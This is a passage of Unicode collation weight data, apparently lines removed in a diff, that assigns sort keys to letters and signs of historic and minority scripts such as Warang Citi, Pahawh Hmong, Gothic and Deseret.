-118C9 ; [.416E.0020.0002] # WARANG CITI SMALL LETTER O
-118A9 ; [.416E.0020.0008] # WARANG CITI CAPITAL LETTER O
-118CA ; [.416F.0020.0002] # WARANG CITI SMALL LETTER ANG
-118AA ; [.416F.0020.0008] # WARANG CITI CAPITAL LETTER ANG
-118CB ; [.4170.0020.0002] # WARANG CITI SMALL LETTER GA
-118AB ; [.4170.0020.0008] # WARANG CITI CAPITAL LETTER GA
-118CC ; [.4171.0020.0002] # WARANG CITI SMALL LETTER KO
-118AC ; [.4171.0020.0008] # WARANG CITI CAPITAL LETTER KO
-118CD ; [.4172.0020.0002] # WARANG CITI SMALL LETTER ENY
-118AD ; [.4172.0020.0008] # WARANG CITI CAPITAL LETTER ENY
-118CE ; [.4173.0020.0002] # WARANG CITI SMALL LETTER YUJ
-118AE ; [.4173.0020.0008] # WARANG CITI CAPITAL LETTER YUJ
-118CF ; [.4174.0020.0002] # WARANG CITI SMALL LETTER UC
-118AF ; [.4174.0020.0008] # WARANG CITI CAPITAL LETTER UC
-118D0 ; [.4175.0020.0002] # WARANG CITI SMALL LETTER ENN
-118B0 ; [.4175.0020.0008] # WARANG CITI CAPITAL LETTER ENN
-118D1 ; [.4176.0020.0002] # WARANG CITI SMALL LETTER ODD
-118B1 ; [.4176.0020.0008] # WARANG CITI CAPITAL LETTER ODD
-118D2 ; [.4177.0020.0002] # WARANG CITI SMALL LETTER TTE
-118B2 ; [.4177.0020.0008] # WARANG CITI CAPITAL LETTER TTE
-118D3 ; [.4178.0020.0002] # WARANG CITI SMALL LETTER NUNG
-118B3 ; [.4178.0020.0008] # WARANG CITI CAPITAL LETTER NUNG
-118D4 ; [.4179.0020.0002] # WARANG CITI SMALL LETTER DA
-118B4 ; [.4179.0020.0008] # WARANG CITI CAPITAL LETTER DA
-118D5 ; [.417A.0020.0002] # WARANG CITI SMALL LETTER AT
-118B5 ; [.417A.0020.0008] # WARANG CITI CAPITAL LETTER AT
-118D6 ; [.417B.0020.0002] # WARANG CITI SMALL LETTER AM
-118B6 ; [.417B.0020.0008] # WARANG CITI CAPITAL LETTER AM
-118D7 ; [.417C.0020.0002] # WARANG CITI SMALL LETTER BU
-118B7 ; [.417C.0020.0008] # WARANG CITI CAPITAL LETTER BU
-118D8 ; [.417D.0020.0002] # WARANG CITI SMALL LETTER PU
-118B8 ; [.417D.0020.0008] # WARANG CITI CAPITAL LETTER PU
-118D9 ; [.417E.0020.0002] # WARANG CITI SMALL LETTER HIYO
-118B9 ; [.417E.0020.0008] # WARANG CITI CAPITAL LETTER HIYO
-118DA ; [.417F.0020.0002] # WARANG CITI SMALL LETTER HOLO
-118BA ; [.417F.0020.0008] # WARANG CITI CAPITAL LETTER HOLO
-118DB ; [.4180.0020.0002] # WARANG CITI SMALL LETTER HORR
-118BB ; [.4180.0020.0008] # WARANG CITI CAPITAL LETTER HORR
-118DC ; [.4181.0020.0002] # WARANG CITI SMALL LETTER HAR
-118BC ; [.4181.0020.0008] # WARANG CITI CAPITAL LETTER HAR
-118DD ; [.4182.0020.0002] # WARANG CITI SMALL LETTER SSUU
-118BD ; [.4182.0020.0008] # WARANG CITI CAPITAL LETTER SSUU
-118DE ; [.4183.0020.0002] # WARANG CITI SMALL LETTER SII
-118BE ; [.4183.0020.0008] # WARANG CITI CAPITAL LETTER SII
-118DF ; [.4184.0020.0002] # WARANG CITI SMALL LETTER VIYO
-118BF ; [.4184.0020.0008] # WARANG CITI CAPITAL LETTER VIYO
-11AD5 ; [.4185.0020.0002] # PAU CIN HAU LETTER A
-11AD6 ; [.4186.0020.0002] # PAU CIN HAU LETTER E
-11AD7 ; [.4187.0020.0002] # PAU CIN HAU LETTER I
-11AD8 ; [.4188.0020.0002] # PAU CIN HAU LETTER O
-11AD9 ; [.4189.0020.0002] # PAU CIN HAU LETTER U
-11ADA ; [.418A.0020.0002] # PAU CIN HAU LETTER UA
-11ADB ; [.418B.0020.0002] # PAU CIN HAU LETTER IA
-11AC0 ; [.418C.0020.0002] # PAU CIN HAU LETTER PA
-11AC1 ; [.418D.0020.0002] # PAU CIN HAU LETTER KA
-11AC2 ; [.418E.0020.0002] # PAU CIN HAU LETTER LA
-11AC3 ; [.418F.0020.0002] # PAU CIN HAU LETTER MA
-11AC4 ; [.4190.0020.0002] # PAU CIN HAU LETTER DA
-11AC5 ; [.4191.0020.0002] # PAU CIN HAU LETTER ZA
-11AC6 ; [.4192.0020.0002] # PAU CIN HAU LETTER VA
-11AC7 ; [.4193.0020.0002] # PAU CIN HAU LETTER NGA
-11AC8 ; [.4194.0020.0002] # PAU CIN HAU LETTER HA
-11AC9 ; [.4195.0020.0002] # PAU CIN HAU LETTER GA
-11ACA ; [.4196.0020.0002] # PAU CIN HAU LETTER KHA
-11ACB ; [.4197.0020.0002] # PAU CIN HAU LETTER SA
-11ACC ; [.4198.0020.0002] # PAU CIN HAU LETTER BA
-11ACD ; [.4199.0020.0002] # PAU CIN HAU LETTER CA
-11ACE ; [.419A.0020.0002] # PAU CIN HAU LETTER TA
-11ACF ; [.419B.0020.0002] # PAU CIN HAU LETTER THA
-11AD0 ; [.419C.0020.0002] # PAU CIN HAU LETTER NA
-11AD1 ; [.419D.0020.0002] # PAU CIN HAU LETTER PHA
-11AD2 ; [.419E.0020.0002] # PAU CIN HAU LETTER RA
-11AD3 ; [.419F.0020.0002] # PAU CIN HAU LETTER FA
-11AD4 ; [.41A0.0020.0002] # PAU CIN HAU LETTER CHA
-11ADC ; [.41A1.0020.0002] # PAU CIN HAU LETTER FINAL P
-11ADD ; [.41A2.0020.0002] # PAU CIN HAU LETTER FINAL K
-11ADF ; [.41A3.0020.0002] # PAU CIN HAU LETTER FINAL M
-11AE0 ; [.41A4.0020.0002] # PAU CIN HAU LETTER FINAL N
-11AE1 ; [.41A5.0020.0002] # PAU CIN HAU LETTER FINAL L
-11AE2 ; [.41A6.0020.0002] # PAU CIN HAU LETTER FINAL W
-11AE3 ; [.41A7.0020.0002] # PAU CIN HAU LETTER FINAL NG
-11ADE ; [.41A8.0020.0002] # PAU CIN HAU LETTER FINAL T
-11AE4 ; [.41A9.0020.0002] # PAU CIN HAU LETTER FINAL Y
-11AEF ; [.41AA.0020.0002] # PAU CIN HAU MID-LEVEL TONE
-11AF2 ; [.41AB.0020.0002] # PAU CIN HAU MID-LEVEL TONE FINAL
-11AF1 ; [.41AC.0020.0002] # PAU CIN HAU MID-LEVEL TONE LONG FINAL
-11AE6 ; [.41AD.0020.0002] # PAU CIN HAU RISING TONE
-11AE9 ; [.41AE.0020.0002] # PAU CIN HAU RISING TONE FINAL
-11AE5 ; [.41AF.0020.0002] # PAU CIN HAU RISING TONE LONG
-11AE8 ; [.41B0.0020.0002] # PAU CIN HAU RISING TONE LONG FINAL
-11AF4 ; [.41B1.0020.0002] # PAU CIN HAU LOW-FALLING TONE
-11AF7 ; [.41B2.0020.0002] # PAU CIN HAU LOW-FALLING TONE FINAL
-11AF3 ; [.41B3.0020.0002] # PAU CIN HAU LOW-FALLING TONE LONG
-11AF6 ; [.41B4.0020.0002] # PAU CIN HAU LOW-FALLING TONE LONG FINAL
-11AEC ; [.41B5.0020.0002] # PAU CIN HAU SANDHI TONE
-11AEE ; [.41B6.0020.0002] # PAU CIN HAU SANDHI TONE FINAL
-11AEB ; [.41B7.0020.0002] # PAU CIN HAU SANDHI TONE LONG
-11AED ; [.41B8.0020.0002] # PAU CIN HAU SANDHI TONE LONG FINAL
-11AF5 ; [.41B9.0020.0002] # PAU CIN HAU GLOTTAL STOP
-11AF8 ; [.41BA.0020.0002] # PAU CIN HAU GLOTTAL STOP FINAL
-11AE7 ; [.41BB.0020.0002] # PAU CIN HAU SANDHI GLOTTAL STOP
-11AEA ; [.41BC.0020.0002] # PAU CIN HAU SANDHI GLOTTAL STOP FINAL
-11AF0 ; [.41BD.0020.0002] # PAU CIN HAU GLOTTAL STOP VARIANT
-16B00 ; [.41BE.0020.0002] # PAHAWH HMONG VOWEL KEEB
-16B01 ; [.41BF.0020.0002] # PAHAWH HMONG VOWEL KEEV
-16B02 ; [.41C0.0020.0002] # PAHAWH HMONG VOWEL KIB
-16B03 ; [.41C1.0020.0002] # PAHAWH HMONG VOWEL KIV
-16B04 ; [.41C2.0020.0002] # PAHAWH HMONG VOWEL KAUB
-16B05 ; [.41C3.0020.0002] # PAHAWH HMONG VOWEL KAUV
-16B06 ; [.41C4.0020.0002] # PAHAWH HMONG VOWEL KUB
-16B07 ; [.41C5.0020.0002] # PAHAWH HMONG VOWEL KUV
-16B08 ; [.41C6.0020.0002] # PAHAWH HMONG VOWEL KEB
-16B09 ; [.41C7.0020.0002] # PAHAWH HMONG VOWEL KEV
-16B0A ; [.41C8.0020.0002] # PAHAWH HMONG VOWEL KAIB
-16B0B ; [.41C9.0020.0002] # PAHAWH HMONG VOWEL KAIV
-16B0C ; [.41CA.0020.0002] # PAHAWH HMONG VOWEL KOOB
-16B0D ; [.41CB.0020.0002] # PAHAWH HMONG VOWEL KOOV
-16B0E ; [.41CC.0020.0002] # PAHAWH HMONG VOWEL KAWB
-16B0F ; [.41CD.0020.0002] # PAHAWH HMONG VOWEL KAWV
-16B10 ; [.41CE.0020.0002] # PAHAWH HMONG VOWEL KUAB
-16B11 ; [.41CF.0020.0002] # PAHAWH HMONG VOWEL KUAV
-16B12 ; [.41D0.0020.0002] # PAHAWH HMONG VOWEL KOB
-16B13 ; [.41D1.0020.0002] # PAHAWH HMONG VOWEL KOV
-16B14 ; [.41D2.0020.0002] # PAHAWH HMONG VOWEL KIAB
-16B15 ; [.41D3.0020.0002] # PAHAWH HMONG VOWEL KIAV
-16B16 ; [.41D4.0020.0002] # PAHAWH HMONG VOWEL KAB
-16B17 ; [.41D5.0020.0002] # PAHAWH HMONG VOWEL KAV
-16B18 ; [.41D6.0020.0002] # PAHAWH HMONG VOWEL KWB
-16B19 ; [.41D7.0020.0002] # PAHAWH HMONG VOWEL KWV
-16B1A ; [.41D8.0020.0002] # PAHAWH HMONG VOWEL KAAB
-16B1B ; [.41D9.0020.0002] # PAHAWH HMONG VOWEL KAAV
-16B1C ; [.41DA.0020.0002] # PAHAWH HMONG CONSONANT VAU
-16B1D ; [.41DB.0020.0002] # PAHAWH HMONG CONSONANT NTSAU
-16B1E ; [.41DC.0020.0002] # PAHAWH HMONG CONSONANT LAU
-16B1F ; [.41DD.0020.0002] # PAHAWH HMONG CONSONANT HAU
-16B20 ; [.41DE.0020.0002] # PAHAWH HMONG CONSONANT NLAU
-16B21 ; [.41DF.0020.0002] # PAHAWH HMONG CONSONANT RAU
-16B22 ; [.41E0.0020.0002] # PAHAWH HMONG CONSONANT NKAU
-16B23 ; [.41E1.0020.0002] # PAHAWH HMONG CONSONANT QHAU
-16B24 ; [.41E2.0020.0002] # PAHAWH HMONG CONSONANT YAU
-16B25 ; [.41E3.0020.0002] # PAHAWH HMONG CONSONANT HLAU
-16B26 ; [.41E4.0020.0002] # PAHAWH HMONG CONSONANT MAU
-16B27 ; [.41E5.0020.0002] # PAHAWH HMONG CONSONANT CHAU
-16B28 ; [.41E6.0020.0002] # PAHAWH HMONG CONSONANT NCHAU
-16B29 ; [.41E7.0020.0002] # PAHAWH HMONG CONSONANT HNAU
-16B2A ; [.41E8.0020.0002] # PAHAWH HMONG CONSONANT PLHAU
-16B2B ; [.41E9.0020.0002] # PAHAWH HMONG CONSONANT NTHAU
-16B2C ; [.41EA.0020.0002] # PAHAWH HMONG CONSONANT NAU
-16B2D ; [.41EB.0020.0002] # PAHAWH HMONG CONSONANT AU
-16B2E ; [.41EC.0020.0002] # PAHAWH HMONG CONSONANT XAU
-16B2F ; [.41ED.0020.0002] # PAHAWH HMONG CONSONANT CAU
-16B40 ; [.41EE.0020.0002] # PAHAWH HMONG SIGN VOS SEEV
-16B41 ; [.41EF.0020.0002] # PAHAWH HMONG SIGN MEEJ SUAB
-16B63 ; [.41F0.0020.0002] # PAHAWH HMONG SIGN VOS LUB
-16B64 ; [.41F1.0020.0002] # PAHAWH HMONG SIGN XYOO
-16B65 ; [.41F2.0020.0002] # PAHAWH HMONG SIGN HLI
-16B66 ; [.41F3.0020.0002] # PAHAWH HMONG SIGN THIRD-STAGE HLI
-16B67 ; [.41F4.0020.0002] # PAHAWH HMONG SIGN ZWJ THAJ
-16B68 ; [.41F5.0020.0002] # PAHAWH HMONG SIGN HNUB
-16B69 ; [.41F6.0020.0002] # PAHAWH HMONG SIGN NQIG
-16B6A ; [.41F7.0020.0002] # PAHAWH HMONG SIGN XIAB
-16B6B ; [.41F8.0020.0002] # PAHAWH HMONG SIGN NTUJ
-16B6C ; [.41F9.0020.0002] # PAHAWH HMONG SIGN AV
-16B6D ; [.41FA.0020.0002] # PAHAWH HMONG SIGN TXHEEJ CEEV
-16B6E ; [.41FB.0020.0002] # PAHAWH HMONG SIGN MEEJ TSEEB
-16B6F ; [.41FC.0020.0002] # PAHAWH HMONG SIGN TAU
-16B70 ; [.41FD.0020.0002] # PAHAWH HMONG SIGN LOS
-16B71 ; [.41FE.0020.0002] # PAHAWH HMONG SIGN MUS
-16B72 ; [.41FF.0020.0002] # PAHAWH HMONG SIGN CIM HAIS LUS NTOG NTOG
-16B73 ; [.4200.0020.0002] # PAHAWH HMONG SIGN CIM CUAM TSHOOJ
-16B74 ; [.4201.0020.0002] # PAHAWH HMONG SIGN CIM TXWV
-16B75 ; [.4202.0020.0002] # PAHAWH HMONG SIGN CIM TXWV CHWV
-16B76 ; [.4203.0020.0002] # PAHAWH HMONG SIGN CIM PUB DAWB
-16B77 ; [.4204.0020.0002] # PAHAWH HMONG SIGN CIM NRES TOS
-16B7D ; [.4205.0020.0002] # PAHAWH HMONG CLAN SIGN TSHEEJ
-16B7E ; [.4206.0020.0002] # PAHAWH HMONG CLAN SIGN YEEG
-16B7F ; [.4207.0020.0002] # PAHAWH HMONG CLAN SIGN LIS
-16B80 ; [.4208.0020.0002] # PAHAWH HMONG CLAN SIGN LAUJ
-16B81 ; [.4209.0020.0002] # PAHAWH HMONG CLAN SIGN XYOOJ
-16B82 ; [.420A.0020.0002] # PAHAWH HMONG CLAN SIGN KOO
-16B83 ; [.420B.0020.0002] # PAHAWH HMONG CLAN SIGN HAWJ
-16B84 ; [.420C.0020.0002] # PAHAWH HMONG CLAN SIGN MUAS
-16B85 ; [.420D.0020.0002] # PAHAWH HMONG CLAN SIGN THOJ
-16B86 ; [.420E.0020.0002] # PAHAWH HMONG CLAN SIGN TSAB
-16B87 ; [.420F.0020.0002] # PAHAWH HMONG CLAN SIGN PHAB
-16B88 ; [.4210.0020.0002] # PAHAWH HMONG CLAN SIGN KHAB
-16B89 ; [.4211.0020.0002] # PAHAWH HMONG CLAN SIGN HAM
-16B8A ; [.4212.0020.0002] # PAHAWH HMONG CLAN SIGN VAJ
-16B8B ; [.4213.0020.0002] # PAHAWH HMONG CLAN SIGN FAJ
-16B8C ; [.4214.0020.0002] # PAHAWH HMONG CLAN SIGN YAJ
-16B8D ; [.4215.0020.0002] # PAHAWH HMONG CLAN SIGN TSWB
-16B8E ; [.4216.0020.0002] # PAHAWH HMONG CLAN SIGN KWM
-16B8F ; [.4217.0020.0002] # PAHAWH HMONG CLAN SIGN VWJ
-10280 ; [.4218.0020.0002] # LYCIAN LETTER A
-10281 ; [.4219.0020.0002] # LYCIAN LETTER E
-10282 ; [.421A.0020.0002] # LYCIAN LETTER B
-10283 ; [.421B.0020.0002] # LYCIAN LETTER BH
-10284 ; [.421C.0020.0002] # LYCIAN LETTER G
-10285 ; [.421D.0020.0002] # LYCIAN LETTER D
-10286 ; [.421E.0020.0002] # LYCIAN LETTER I
-10287 ; [.421F.0020.0002] # LYCIAN LETTER W
-10288 ; [.4220.0020.0002] # LYCIAN LETTER Z
-10289 ; [.4221.0020.0002] # LYCIAN LETTER TH
-1028A ; [.4222.0020.0002] # LYCIAN LETTER J
-1028B ; [.4223.0020.0002] # LYCIAN LETTER K
-1028C ; [.4224.0020.0002] # LYCIAN LETTER Q
-1028D ; [.4225.0020.0002] # LYCIAN LETTER L
-1028E ; [.4226.0020.0002] # LYCIAN LETTER M
-1028F ; [.4227.0020.0002] # LYCIAN LETTER N
-10290 ; [.4228.0020.0002] # LYCIAN LETTER MM
-10291 ; [.4229.0020.0002] # LYCIAN LETTER NN
-10292 ; [.422A.0020.0002] # LYCIAN LETTER U
-10293 ; [.422B.0020.0002] # LYCIAN LETTER P
-10294 ; [.422C.0020.0002] # LYCIAN LETTER KK
-10295 ; [.422D.0020.0002] # LYCIAN LETTER R
-10296 ; [.422E.0020.0002] # LYCIAN LETTER S
-10297 ; [.422F.0020.0002] # LYCIAN LETTER T
-10298 ; [.4230.0020.0002] # LYCIAN LETTER TT
-10299 ; [.4231.0020.0002] # LYCIAN LETTER AN
-1029A ; [.4232.0020.0002] # LYCIAN LETTER EN
-1029B ; [.4233.0020.0002] # LYCIAN LETTER H
-1029C ; [.4234.0020.0002] # LYCIAN LETTER X
-102A0 ; [.4235.0020.0002] # CARIAN LETTER A
-102A1 ; [.4236.0020.0002] # CARIAN LETTER P2
-102A2 ; [.4237.0020.0002] # CARIAN LETTER D
-102A3 ; [.4238.0020.0002] # CARIAN LETTER L
-102A4 ; [.4239.0020.0002] # CARIAN LETTER UUU
-102A5 ; [.423A.0020.0002] # CARIAN LETTER R
-102A6 ; [.423B.0020.0002] # CARIAN LETTER LD
-102A7 ; [.423C.0020.0002] # CARIAN LETTER A2
-102A8 ; [.423D.0020.0002] # CARIAN LETTER Q
-102A9 ; [.423E.0020.0002] # CARIAN LETTER B
-102AA ; [.423F.0020.0002] # CARIAN LETTER M
-102AB ; [.4240.0020.0002] # CARIAN LETTER O
-102AC ; [.4241.0020.0002] # CARIAN LETTER D2
-102AD ; [.4242.0020.0002] # CARIAN LETTER T
-102AE ; [.4243.0020.0002] # CARIAN LETTER SH
-102AF ; [.4244.0020.0002] # CARIAN LETTER SH2
-102B0 ; [.4245.0020.0002] # CARIAN LETTER S
-102B1 ; [.4246.0020.0002] # CARIAN LETTER C-18
-102B2 ; [.4247.0020.0002] # CARIAN LETTER U
-102B3 ; [.4248.0020.0002] # CARIAN LETTER NN
-102B4 ; [.4249.0020.0002] # CARIAN LETTER X
-102B5 ; [.424A.0020.0002] # CARIAN LETTER N
-102B6 ; [.424B.0020.0002] # CARIAN LETTER TT2
-102B7 ; [.424C.0020.0002] # CARIAN LETTER P
-102B8 ; [.424D.0020.0002] # CARIAN LETTER SS
-102B9 ; [.424E.0020.0002] # CARIAN LETTER I
-102BA ; [.424F.0020.0002] # CARIAN LETTER E
-102BB ; [.4250.0020.0002] # CARIAN LETTER UUUU
-102BC ; [.4251.0020.0002] # CARIAN LETTER K
-102BD ; [.4252.0020.0002] # CARIAN LETTER K2
-102BE ; [.4253.0020.0002] # CARIAN LETTER ND
-102BF ; [.4254.0020.0002] # CARIAN LETTER UU
-102C0 ; [.4255.0020.0002] # CARIAN LETTER G
-102C1 ; [.4256.0020.0002] # CARIAN LETTER G2
-102C2 ; [.4257.0020.0002] # CARIAN LETTER ST
-102C3 ; [.4258.0020.0002] # CARIAN LETTER ST2
-102C4 ; [.4259.0020.0002] # CARIAN LETTER NG
-102C5 ; [.425A.0020.0002] # CARIAN LETTER II
-102C6 ; [.425B.0020.0002] # CARIAN LETTER C-39
-102C7 ; [.425C.0020.0002] # CARIAN LETTER TT
-102C8 ; [.425D.0020.0002] # CARIAN LETTER UUU2
-102C9 ; [.425E.0020.0002] # CARIAN LETTER RR
-102CA ; [.425F.0020.0002] # CARIAN LETTER MB
-102CB ; [.4260.0020.0002] # CARIAN LETTER MB2
-102CC ; [.4261.0020.0002] # CARIAN LETTER MB3
-102CD ; [.4262.0020.0002] # CARIAN LETTER MB4
-102CE ; [.4263.0020.0002] # CARIAN LETTER LD2
-102CF ; [.4264.0020.0002] # CARIAN LETTER E2
-102D0 ; [.4265.0020.0002] # CARIAN LETTER UUU3
-10920 ; [.4266.0020.0002] # LYDIAN LETTER A
-10921 ; [.4267.0020.0002] # LYDIAN LETTER B
-10922 ; [.4268.0020.0002] # LYDIAN LETTER G
-10923 ; [.4269.0020.0002] # LYDIAN LETTER D
-10924 ; [.426A.0020.0002] # LYDIAN LETTER E
-10925 ; [.426B.0020.0002] # LYDIAN LETTER V
-10926 ; [.426C.0020.0002] # LYDIAN LETTER I
-10927 ; [.426D.0020.0002] # LYDIAN LETTER Y
-10928 ; [.426E.0020.0002] # LYDIAN LETTER K
-10929 ; [.426F.0020.0002] # LYDIAN LETTER L
-1092A ; [.4270.0020.0002] # LYDIAN LETTER M
-1092B ; [.4271.0020.0002] # LYDIAN LETTER N
-1092C ; [.4272.0020.0002] # LYDIAN LETTER O
-1092D ; [.4273.0020.0002] # LYDIAN LETTER R
-1092E ; [.4274.0020.0002] # LYDIAN LETTER SS
-1092F ; [.4275.0020.0002] # LYDIAN LETTER T
-10930 ; [.4276.0020.0002] # LYDIAN LETTER U
-10931 ; [.4277.0020.0002] # LYDIAN LETTER F
-10932 ; [.4278.0020.0002] # LYDIAN LETTER Q
-10933 ; [.4279.0020.0002] # LYDIAN LETTER S
-10934 ; [.427A.0020.0002] # LYDIAN LETTER TT
-10935 ; [.427B.0020.0002] # LYDIAN LETTER AN
-10936 ; [.427C.0020.0002] # LYDIAN LETTER EN
-10937 ; [.427D.0020.0002] # LYDIAN LETTER LY
-10938 ; [.427E.0020.0002] # LYDIAN LETTER NN
-10939 ; [.427F.0020.0002] # LYDIAN LETTER C
-10300 ; [.4280.0020.0002] # OLD ITALIC LETTER A
-10301 ; [.4281.0020.0002] # OLD ITALIC LETTER BE
-10302 ; [.4282.0020.0002] # OLD ITALIC LETTER KE
-10303 ; [.4283.0020.0002] # OLD ITALIC LETTER DE
-10304 ; [.4284.0020.0002] # OLD ITALIC LETTER E
-10305 ; [.4285.0020.0002] # OLD ITALIC LETTER VE
-10306 ; [.4286.0020.0002] # OLD ITALIC LETTER ZE
-10307 ; [.4287.0020.0002] # OLD ITALIC LETTER HE
-10308 ; [.4288.0020.0002] # OLD ITALIC LETTER THE
-10309 ; [.4289.0020.0002] # OLD ITALIC LETTER I
-1030A ; [.428A.0020.0002] # OLD ITALIC LETTER KA
-1030B ; [.428B.0020.0002] # OLD ITALIC LETTER EL
-1030C ; [.428C.0020.0002] # OLD ITALIC LETTER EM
-1030D ; [.428D.0020.0002] # OLD ITALIC LETTER EN
-1030E ; [.428E.0020.0002] # OLD ITALIC LETTER ESH
-1031F ; [.428F.0020.0002] # OLD ITALIC LETTER ESS
-1030F ; [.4290.0020.0002] # OLD ITALIC LETTER O
-10310 ; [.4291.0020.0002] # OLD ITALIC LETTER PE
-10311 ; [.4292.0020.0002] # OLD ITALIC LETTER SHE
-10312 ; [.4293.0020.0002] # OLD ITALIC LETTER KU
-10313 ; [.4294.0020.0002] # OLD ITALIC LETTER ER
-10314 ; [.4295.0020.0002] # OLD ITALIC LETTER ES
-10315 ; [.4296.0020.0002] # OLD ITALIC LETTER TE
-10316 ; [.4297.0020.0002] # OLD ITALIC LETTER U
-10317 ; [.4298.0020.0002] # OLD ITALIC LETTER EKS
-10318 ; [.4299.0020.0002] # OLD ITALIC LETTER PHE
-10319 ; [.429A.0020.0002] # OLD ITALIC LETTER KHE
-1031A ; [.429B.0020.0002] # OLD ITALIC LETTER EF
-1031B ; [.429C.0020.0002] # OLD ITALIC LETTER ERS
-1031C ; [.429D.0020.0002] # OLD ITALIC LETTER CHE
-1031D ; [.429E.0020.0002] # OLD ITALIC LETTER II
-1031E ; [.429F.0020.0002] # OLD ITALIC LETTER UU
-10330 ; [.42A0.0020.0002] # GOTHIC LETTER AHSA
-10331 ; [.42A1.0020.0002] # GOTHIC LETTER BAIRKAN
-10332 ; [.42A2.0020.0002] # GOTHIC LETTER GIBA
-10333 ; [.42A3.0020.0002] # GOTHIC LETTER DAGS
-10334 ; [.42A4.0020.0002] # GOTHIC LETTER AIHVUS
-10335 ; [.42A5.0020.0002] # GOTHIC LETTER QAIRTHRA
-10336 ; [.42A6.0020.0002] # GOTHIC LETTER IUJA
-10337 ; [.42A7.0020.0002] # GOTHIC LETTER HAGL
-10338 ; [.42A8.0020.0002] # GOTHIC LETTER THIUTH
-10339 ; [.42A9.0020.0002] # GOTHIC LETTER EIS
-1033A ; [.42AA.0020.0002] # GOTHIC LETTER KUSMA
-1033B ; [.42AB.0020.0002] # GOTHIC LETTER LAGUS
-1033C ; [.42AC.0020.0002] # GOTHIC LETTER MANNA
-1033D ; [.42AD.0020.0002] # GOTHIC LETTER NAUTHS
-1033E ; [.42AE.0020.0002] # GOTHIC LETTER JER
-1033F ; [.42AF.0020.0002] # GOTHIC LETTER URUS
-10340 ; [.42B0.0020.0002] # GOTHIC LETTER PAIRTHRA
-10341 ; [.42B1.0020.0002] # GOTHIC LETTER NINETY
-10342 ; [.42B2.0020.0002] # GOTHIC LETTER RAIDA
-10343 ; [.42B3.0020.0002] # GOTHIC LETTER SAUIL
-10344 ; [.42B4.0020.0002] # GOTHIC LETTER TEIWS
-10345 ; [.42B5.0020.0002] # GOTHIC LETTER WINJA
-10346 ; [.42B6.0020.0002] # GOTHIC LETTER FAIHU
-10347 ; [.42B7.0020.0002] # GOTHIC LETTER IGGWS
-10348 ; [.42B8.0020.0002] # GOTHIC LETTER HWAIR
-10349 ; [.42B9.0020.0002] # GOTHIC LETTER OTHAL
-1034A ; [.42BA.0020.0002] # GOTHIC LETTER NINE HUNDRED
-10428 ; [.42BB.0020.0002] # DESERET SMALL LETTER LONG I
-10400 ; [.42BB.0020.0008] # DESERET CAPITAL LETTER LONG I
-10429 ; [.42BC.0020.0002] # DESERET SMALL LETTER LONG E
-10401 ; [.42BC.0020.0008] # DESERET CAPITAL LETTER LONG E
-1042A ; [.42BD.0020.0002] # DESERET SMALL LETTER LONG A
-10402 ; [.42BD.0020.0008] # DESERET CAPITAL LETTER LONG A
-1042B ; [.42BE.0020.0002] # DESERET SMALL LETTER LONG AH
-10403 ; [.42BE.0020.0008] # DESERET CAPITAL LETTER LONG AH
-1042C ; [.42BF.0020.0002] # DESERET SMALL LETTER LONG O
-10404 ; [.42BF.0020.0008] # DESERET CAPITAL LETTER LONG O
-1042D ; [.42C0.0020.0002] # DESERET SMALL LETTER LONG OO
-10405 ; [.42C0.0020.0008] # DESERET CAPITAL LETTER LONG OO
-1042E ; [.42C1.0020.0002] # DESERET SMALL LETTER SHORT I
-10406 ; [.42C1.0020.0008] # DESERET CAPITAL LETTER SHORT I
-1042F ; [.42C2.0020.0002] # DESERET SMALL LETTER SHORT E
-10407 ; [.42C2.0020.0008] # DESERET CAPITAL LETTER SHORT E
-10430 ; [.42C3.0020.0002] # DESERET SMALL LETTER SHORT A
-10408 ; [.42C3.0020.0008] # DESERET CAPITAL LETTER SHORT A
-10431 ; [.42C4.0020.0002] # DESERET SMALL LETTER SHORT AH
-10409 ; [.42C4.0020.0008] # DESERET CAPITAL LETTER SHORT AH
-10432 ; [.42C5.0020.0002] # DESERET SMALL LETTER SHORT O
-1040A ; [.42C5.0020.0008] # DESERET CAPITAL LETTER SHORT O
-10433 ; [.42C6.0020.0002] # DESERET SMALL LETTER SHORT OO
-1040B ; [.42C6.0020.0008] # DESERET CAPITAL LETTER SHORT OO
-10434 ; [.42C7.0020.0002] # DESERET SMALL LETTER AY
-1040C ; [.42C7.0020.0008] # DESERET CAPITAL LETTER AY
-10435 ; [.42C8.0020.0002] # DESERET SMALL LETTER OW
-1040D ; [.42C8.0020.0008] # DESERET CAPITAL LETTER OW
-10436 ; [.42C9.0020.0002] # DESERET SMALL LETTER WU
-1040E ; [.42C9.0020.0008] # DESERET CAPITAL LETTER WU
-10437 ; [.42CA.0020.0002] # DESERET SMALL LETTER YEE
-1040F ; [.42CA.0020.0008] # DESERET CAPITAL LETTER YEE
-10438 ; [.42CB.0020.0002] # DESERET SMALL LETTER H
-10410 ; [.42CB.0020.0008] # DESERET CAPITAL LETTER H
-10439 ; [.42CC.0020.0002] # DESERET SMALL LETTER PEE
-10411 ; [.42CC.0020.0008] # DESERET CAPITAL LETTER PEE
-1043A ; [.42CD.0020.0002] # DESERET SMALL LETTER BEE
-10412 ; [.42CD.0020.0008] # DESERET CAPITAL LETTER BEE
-1043B ; [.42CE.0020.0002] # DESERET SMALL LETTER TEE
-10413 ; [.42CE.0020.0008] # DESERET CAPITAL LETTER TEE
-1043C ; [.42CF.0020.0002] # DESERET SMALL LETTER DEE
-10414 ; [.42CF.0020.0008] # DESERET CAPITAL LETTER DEE
-1043D ; [.42D0.0020.0002] # DESERET SMALL LETTER CHEE
-10415 ; [.42D0.0020.0008] # DESERET CAPITAL LETTER CHEE
-1043E ; [.42D1.0020.0002] # DESERET SMALL LETTER JEE
-10416 ; [.42D1.0020.0008] # DESERET CAPITAL LETTER JEE
-1043F ; [.42D2.0020.0002] # DESERET SMALL LETTER KAY
-10417 ; [.42D2.0020.0008] # DESERET CAPITAL LETTER KAY
-10440 ; [.42D3.0020.0002] # DESERET SMALL LETTER GAY
-10418 ; [.42D3.0020.0008] # DESERET CAPITAL LETTER GAY
-10441 ; [.42D4.0020.0002] # DESERET SMALL LETTER EF
-10419 ; [.42D4.0020.0008] # DESERET CAPITAL LETTER EF
-10442 ; [.42D5.0020.0002] # DESERET SMALL LETTER VEE
-1041A ; [.42D5.0020.0008] # DESERET CAPITAL LETTER VEE
-10443 ; [.42D6.0020.0002] # DESERET SMALL LETTER ETH
-1041B ; [.42D6.0020.0008] # DESERET CAPITAL LETTER ETH
-10444 ; [.42D7.0020.0002] # DESERET SMALL LETTER THEE
-1041C ; [.42D7.0020.0008] # DESERET CAPITAL LETTER THEE
